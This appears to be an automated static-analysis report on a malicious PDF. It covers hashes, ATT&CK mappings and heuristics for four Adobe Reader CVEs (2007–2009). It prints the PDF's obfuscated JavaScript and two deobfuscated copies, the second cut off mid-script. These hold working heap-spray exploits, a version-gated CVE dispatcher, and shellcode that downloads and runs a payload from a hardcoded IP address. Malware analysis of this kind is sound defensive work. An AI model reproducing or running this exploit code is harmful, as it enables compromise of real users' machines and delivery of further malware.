Malicious PDF — malware analysis report

Static analysis result for SHA-256 4ab1892a5c0defde…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-09
MD5: cfa2efcc64aebc5f7d403a83069a9c21 SHA-1: cf178091b26de818dc463ba8d6913329b877335a SHA-256: 4ab1892a5c0defde22d85546516671eb0c52fa0479f94fb32b4ea038afb1ae40
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it attempts to download a second-stage payload from the URL http://65.75.149.73/Home/w.php?f=16&e=5. This multi-CVE exploit kit is a common technique for initial compromise.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://65.75.149.73/Home/w.php?f=16&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3A9 11595 bytes
SHA-256: d5910932d6fd7e1f1f5b57fb722d6ae685b48cfe7a8a910b59088295103ebfee
Preview script
First 1,000 lines of the extracted script
w="s";
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[57,50,45,32,27,28,34,29,49,62,41,30,5,53,18,18,41,30,65,11,66,20,41,30,5,69,65,11,41,30,38,69,66,20,41,30,66,63,53,20,41,30,53,53,69,65,41,30,18,20,11,64,41,30,20,64,5,27,41,30,5,27,53,64,41,30,64,11,20,64,41,30,38,64,5,27,41,30,69,18,40,11,41,30,38,18,5,27,41,30,53,53,64,5,41,30,18,18,22,27,41,30,69,66,5,27,41,30,64,53,53,11,41,30,53,53,38,20,41,30,5,40,68,11,41,30,40,69,66,66,41,30,65,65,40,64,41,30,27,5,65,65,41,30,20,64,5,27,41,30,11,53,53,64,41,30,53,63,20,18,41,30,38,69,64,18,41,30,5,38,65,27,41,30,68,20,53,20,41,30,66,20,5,69,41,30,69,40,38,69,41,30,66,27,66,63,41,30,69,40,20,11,41,30,5,27,69,18,41,30,53,11,38,69,41,30,38,20,5,27,41,30,38,5,53,69,41,30,65,69,64,53,41,30,5,27,69,18,41,30,68,64,38,18,41,30,65,69,64,53,41,30,11,63,53,53,41,30,20,40,20,63,41,30,50,22,65,11,41,30,11,69,64,53,41,30,22,27,53,53,41,30,27,66,64,65,41,30,53,5,40,64,41,30,38,20,65,68,41,30,11,40,64,5,41,30,64,22,11,27,41,30,22,50,64,53,41,30,66,27,20,64,41,30,53,27,65,40,41,30,38,69,40,65,41,30,69,66,66,18,41,30,69,66,5,27,41,30,64,53,68,20,41,30,18,18,22,22,41,30,64,11,5,27,41,30,5,22,20,27,41,30,66,11,20,18,41,30,69,20,65,65,41,30,64,11,68,20,41,30,22,5,5,27,41,30,22,22,64,53,41,30,64,20,5,27,41,30,64,53,5,27,41,30,50,27,11,69,41,30,69,63,69,66,41,30,66,27,11,53,41,30,50,22,69,53,41,30,18,5,5,27,41,30,5,64,68,64,41,30,64,11,38,22,41,30,38,20,53,53,41,30,63,18,64,53,41,30,65,53,66,27,41,30,18,5,5,27,41,30,5,27,64,5,41,30,18,50,65,38,41,30,69,63,64,69,41,30,63,5,66,5,41,30,65,65,65,65,41,30,66,68,65,65,41,30,66,5,65,63,41,30,64,64,64,64,41,30,64,64,64,64,41,30,69,64,69,5,41,30,20,64,18,50,41,30,65,65,18,5,41,30,64,64,64,64,41,30,69,64,64,64,41,30,11,64,5,53,41,30,69,64,40,63,41,30,5,27,69,69,41,30,5,27,66,11,41,30,40,64,69,66,41,30,11,53,5,53,41,30,65,65,64,69,41,30,18,5,66,53,41,30,18,66,18,65,41,30,64,64,64,64,41,30,38,69,18,5,41,30,18,11,38,68,41,30,69,20,18,22,41,30,40,18,65,65,41,30,11,20,5,53,41,30,5,27,64,5,41,30,66,5,66,5,41,30,65,65,18,40,41,30,65,65,65,65,41,30,64,68,66,27,41,30,38,68,66,27,41,30,66,11,5,40,41,30,64,40,64,20,41,30,64,64,64,64,41,30,69,11,5,22,41,30,64,11,68,20,41,30,64,20,11,38,41,30,38,68,68,20,41,30,18,38,18,69,41,30,11,38,38,53,41,30,68,20,20,20,41,30,38,18,64,20,41,30,53,53,38,68,41,30,11,38,53,68,41,30,68,20,20,20,41,30,68,64,64,5,41,30,38,53,68,22,41,30,69,53,68,64,41,30,65,5,18,5,41,30,64,64,64,64,41,30,65,65,64,64,41,30,64,11,69,18,41,30,66,5,5,27,41,30,11,63,53,53,41,30,11,38,69,40,41,30,40,22,20,20,41,30,38,38,64,64,41,30,18,68,38,64,41,30,11,38,38,20,41,30,40,22,20,20,41,30,68,66,64,69,41,30,18,11,18,20,41,30,11,18,18,11,41,30,40,22,20,20,41,30,64,64,64,63,41,30,5,50,69,63,41,30,64,20,11,40,41,30,5,5,53,64,41,30,40,22,20,20,41,30,20,40,64,20,41,30,18,50,69,40,41,30,18,50,64,64,41,30,69,53,64,64,41,30,18,50,69,38,41,30,65,65,64,64,41,30,40,20,69,18,41,30,11,64,5,69,41,30,40,18,38,69,41,30,64,64,18,50,41,30,65,65,69,53,41,30,64,20,69,18,41,30,64,64,18,50,41,30,66,27,5,53,41,30,69,53,64,11,41,30,69,18,65,65,41,30,5,53,64,20,41,30,64,11,11,53,41,30,64,68,66,27,41,30,40,53,66,27,41,30,5,64,20,38,41,30,64,64,53,65,41,30,65,50,38,69,41,30,5,64,20,38,41,30,64,64,53,65,41,30,11,20,38,69,41,30,64,64,18,50,41,30,65,66,18,50,41,30,69,18,65,65,41,30,66,5,64,5,41,30,65,66,63,11,41,30,65,65,65,65,41,30,20,66,5,66,41,30,66,11,64,66,41,30,65,66,63,5,41,30,64,66,5,50,41,30,18,65,5,63,41,30,27,22,64,40,41,30,11,50,53,53,41,30,69,27,5,50,41,30,11,18,40,27,41,30,38,63,20,18,41,30,40,50,53,18,41,30,38,64,68,65,41,30,38,20,18,5,41,30,38,64,38,20,41,30,68,65,53,50,41,30,53,18,68,65,41,30,68,66,53,69,41,30,53,69,53,38,41,30,53,40,68,66,41,30,53,63,53,20,41,30,53,38,68,66,41,30,68,65,53,53,41,30,18,65,20,5,41,30,18,69,18,22,41,30,38,38,68,65,41,30,38,64,68,66,41,30,38,64,18,5,41,30,18,18,53,65,41,30,53,40,53,22,41,30,68,18,53,18,41,30,53,22,18,69,41,30,64,64,53,69,41,30,64,64,64,64,62,14,65,30,52,11,71,42,44,52,32,66,1,57,45,33,45,50,74,46,23,37,56,8,19,42,0,66,33,45,50,72,0,66,52,29,71,19,26,68,17,46,23,37,56,45,50,13,49,45,50,14,24,45,50,49,45,50,72,34,30,27,34,71,45,42,52,29,33,64,74,46,23,58,68,37,14,45,66,71,30,45,52,32,45,50,14,24,32,65,30,52,11,71,42,44,52,32,27,73,33,37,56,57,50,45,32,22,35,29,49,52,66,8,32,43,45,45,50,23,33,37,14,57,50,45,32,57,8,49,64,73,64,11,64,11,64,11,64,11,14,57,50,45,32,50,22,22,45,49,64,73,20,64,64,64,64,64,14,57,50,45,32,75,50,23,0,44,50,22,49,30,52,66,34,11,50,75,66,33,27,28,34,29,37,14,57,50,45,32,34,11,59,0,66,52,49,75,50,23,0,44,50,22,72,0,66,52,29,71,19,26,68,14,57,50,45,32,46,23,49,50,22,22,45,55,33,34,11,59,0,66,52,13,64,73,53,5,37,14,57,50,45,32,23,50,45,34,75,49,30,52,66,34,11,50,75,66,33,54,41,30,63,64,63,64,41,30,63,64,63,64,54,37,14,23,50,45,34,75,49,66,1,57,45,33,23,50,45,34,75,74,46,23,37,14,57,50,45,32,11,44,30,52,71,68,49,33,57,8,55,64,73,20,64,64,64,64,64,37,58,50,22,22,45,14,65,44,45,33,57,50,45,32,11,44,30,52,71,49,64,14,11,44,30,52,71,17,11,44,30,52,71,68,14,11,44,30,52,71,13,13,37,56,22,35,29,21,11,44,30,52,71,7,49,23,50,45,34,75,13,75,50,23,0,44,50,22,14,24,32,57,50,45,32,44,57,66,45,65,0,44,8,49,30,52,66,34,11,50,75,66,33,54,41,30,64,11,64,11,41,30,64,11,64,11,54,37,14,8,19,42,0,66,33,44,57,66,45,65,0,44,8,72,0,66,52,29,71,19,17,20,20,63,69,68,37,56,44,57,66,45,65,0,44,8,13,49,44,57,66,45,65,0,44,8,14,24,32,71,19,42,34,72,11,44,0,0,50,27,25,71,44,45,66,49,47,44,0,0,50,27,72,11,44,0,0,66,11,71,4,2,50,42,0,12,52,65,44,33,56,34,30,27,28,39,54,54,74,2,34,29,39,44,57,66,45,65,0,44,8,24,37,14,24,32,65,30,52,11,71,42,44,52,32,75,45,42,52,71,65,33,37,56,52,44,75,49,30,52,66,34,11,50,75,66,33,54,41,30,64,43,64,43,41,30,64,43,64,43,41,30,64,43,64,43,41,30,64,43,64,43,54,37,14,57,50,45,32,75,50,23,0,44,50,22,49,30,52,66,34,11,50,75,66,33,27,28,34,29,37,14,19,66,50,75,27,0,44,11,35,49,52,44,75,13,75,50,23,0,44,50,22,14,27,42,29,27,0,44,11,35,49,30,52,66,34,11,50,75,66,33,54,41,30,64,43,64,43,41,30,64,43,64,43,54,37,14,19,66,50,22,66,45,34,42,1,66,49,68,64,14,34,75,45,50,23,49,19,66,50,22,66,45,34,42,1,66,13,19,66,50,75,27,0,44,11,35,72,0,66,52,29,71,19,14,8,19,42,0,66,33,27,42,29,27,0,44,11,35,72,0,66,52,29,71,19,17,34,75,45,50,23,37,56,27,42,29,27,0,44,11,35,13,49,27,42,29,27,0,44,11,35,14,24,32,65,42,0,0,27,0,44,11,35,49,27,42,29,27,0,44,11,35,72,34,30,27,34,71,45,42,52,29,33,64,74,34,75,45,50,23,37,14,27,0,44,11,35,49,27,42,29,27,0,44,11,35,72,34,30,27,34,71,45,42,52,29,33,64,74,27,42,29,27,0,44,11,35,72,0,66,52,29,71,19,55,34,75,45,50,23,37,14,8,19,42,0,66,33,27,0,44,11,35,72,0,66,52,29,71,19,13,34,75,45,50,23,17,64,73,20,64,64,64,64,37,56,27,0,44,11,35,49,27,0,44,11,35,13,27,0,44,11,35,13,65,42,0,0,27,0,44,11,35,14,24,32,2,66,2,49,52,66,8,32,43,45,45,50,23,33,37,14,65,44,45,33,42,49,64,14,42,17,40,20,64,64,14,42,13,13,37,56,2,66,2,21,42,7,49,27,0,44,11,35,13,19,66,50,75,27,0,44,11,35,14,24,32,57,50,45,32,52,30,2,49,40,68,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,14,30,71,42,0,72,75,45,42,52,71,65,33,54,41,20,69,64,64,64,65,54,74,52,30,2,37,14,24,32,65,30,52,11,71,42,44,52,32,29,66,71,42,11,44,52,33,37,56,57,50,45,32,50,45,45,23,49,52,66,8,32,43,45,45,50,23,33,37,14,42,65,33,50,75,75,72,22,44,11,72,47,44,0,0,50,27,72,29,66,71,12,11,44,52,37,56,57,50,45,32,75,50,23,0,44,50,22,49,30,52,66,34,11,50,75,66,33,27,28,34,29,37,14,57,50,45,32,19,60,46,69,64,64,47,9,49,75,50,23,0,44,50,22,72,0,66,52,29,71,19,26,68,14,57,50,45,32,46,23,49,64,73,20,64,64,64,64,64,55,33,19,60,46,69,64,64,47,9,13,64,73,53,5,37,14,57,50,45,32,23,50,45,34,75,49,30,52,66,34,11,50,75,66,33,54,41,30,63,64,63,64,41,30,63,64,63,64,54,37,14,23,50,45,34,75,49,66,1,57,45,33,23,50,45,34,75,74,46,23,37,14,57,50,45,32,75,69,43,28,36,18,69,65,49,33,64,73,64,11,64,11,64,11,64,11,55,64,73,20,64,64,64,64,64,37,58,64,73,20,64,64,64,64,64,14,65,44,45,33,57,50,45,32,57,46,11,3,70,63,18,23,49,64,14,57,46,11,3,70,63,18,23,17,75,69,43,28,36,18,69,65,14,57,46,11,3,70,63,18,23,13,13,37,56,50,45,45,23,21,57,46,11,3,70,63,18,23,7,49,23,50,45,34,75,13,75,50,23,0,44,50,22,14,24,32,57,50,45,32,71,67,61,19,9,27,16,8,49,30,52,66,34,11,50,75,66,33,54,41,64,63,54,37,14,8,19,42,0,66,33,71,67,61,19,9,27,16,8,72,0,66,52,29,71,19,17,64,73,20,64,64,64,37,56,71,67,61,19,9,27,16,8,13,49,71,67,61,19,9,27,16,8,14,24,32,71,67,61,19,9,27,16,8,49,54,9,72,54,13,71,67,61,19,9,27,16,8,14,50,75,75,72,22,44,11,72,47,44,0,0,50,27,72,29,66,71,12,11,44,52,33,71,67,61,19,9,27,16,8,37,14,24,24,32,50,15,0,30,29,42,52,34,49,50,75,75,72,75,0,30,29,12,52,34,14,57,50,45,32,34,57,49,75,50,45,34,66,12,52,71,33,50,75,75,72,57,42,66,8,66,45,48,66,45,34,42,44,52,72,71,44,25,71,45,42,52,29,33,37,72,11,19,50,45,43,71,33,64,37,37,14,65,44,45,33,57,50,45,32,42,49,64,14,42,17,50,15,0,30,29,42,52,34,72,0,66,52,29,71,19,14,42,13,13,37,56,42,65,33,50,15,0,30,29,42,52,34,21,42,7,72,52,50,2,66,49,49,62,4,25,11,45,42,75,71,62,37,56,57,50,45,32,0,57,49,50,15,0,30,29,42,52,34,21,42,7,72,57,66,45,34,42,44,52,14,24,24,32,42,65,33,33,0,57,49,49,63,37,31,31,33,33,34,57,49,49,5,37,10,10,33,0,57,17,49,5,72,40,68,37,37,37,56,29,66,71,42,11,44,52,33,37,14,24,66,0,34,66,32,42,65,33,0,57,49,49,38,72,40,37,56,75,45,42,52,71,65,33,37,14,24,66,0,34,66,32,42,65,33,33,33,34,57,49,49,18,37,31,31,33,34,57,49,49,38,37,37,10,10,33,0,57,17,38,72,40,40,37,37,56,27,73,33,37,14,24,66,0,34,66,32,42,65,33,33,0,57,51,49,63,72,40,37,31,31,33,0,57,17,49,63,72,68,37,31,31,33,0,57,51,49,5,72,40,53,37,31,31,33,0,57,17,49,5,72,40,38,37,37,56,65,30,52,11,71,42,44,52,32,50,33,37,56,30,71,42,0,72,75,45,42,52,71,22,33,62,75,6,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,32,39,32,23,23,23,23,40,40,40,62,74,52,66,8,32,70,50,71,66,33,37,37,14,24,57,50,45,32,19,49,50,75,75,72,75,0,30,29,12,52,34,14,65,44,45,33,57,50,45,32,65,49,64,14,65,17,19,72,0,66,52,29,71,19,14,65,13,13,37,56,42,65,33,19,21,65,7,72,52,50,2,66,49,49,62,4,25,11,45,42,75,71,62,37,56,57,50,45,32,42,49,19,21,65,7,72,57,66,45,34,42,44,52,14,24,24,32,42,65,33,33,42,51,5,72,40,68,37,10,10,33,42,17,5,72,68,37,37,56,11,49,52,66,8,32,43,45,45,50,23,33,37,14,57,50,45,32,22,49,30,52,66,34,11,50,75,66,33,62,41,30,63,64,63,64,41,30,63,64,63,64,62,37,14,57,50,45,32,66,49,30,52,66,34,11,50,75,66,33,27,28,34,29,37,14,8,19,42,0,66,33,22,72,0,66,52,29,71,19,17,49,64,73,5,64,64,64,37,56,22,13,49,22,14,24,22,49,22,72,34,30,27,34,71,45,33,64,74,64,73,5,64,64,64,55,66,72,0,66,52,29,71,19,37,14,65,44,45,33,65,49,64,14,65,17,68,63,64,64,14,65,13,13,37,56,11,21,65,7,49,22,13,66,14,24,50,33,37,14,50,33,37,14,71,45,23,56,71,19,42,34,72,2,66,22,42,50,72,52,66,8,15,0,50,23,66,45,33,52,30,0,0,37,14,24,11,50,71,11,19,33,66,37,56,24,50,33,37,14,24,24];
a="lzmQE8@]wN&cI+;PG<6h4[dy}S*bjgu| (skK)7:1%iAorqCV=a>n3'-{v/_WM'90feU25Dt.x,p";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{

e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}

"))";try{if(!google.search())throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 3864 bytes
SHA-256: edb6fc549396c8a2cf50d2c332253ca0fe65111ba4990bcb959e0ef662e83bb9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e35%u3537%u312e%u3934%u372e%u2f33%u6f48%u656d%u772f%u702e%u7068%u663f%u313d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 3860 bytes
SHA-256: 13eaebced7ca517257e4442ec9caf0ae8cdab0169596dd65c32e002b02c149c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e35%u3537%u312e%u3934%u372e%u2f33%u6f48%u656d%u772f%u702e%u7068%u663f%u313d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	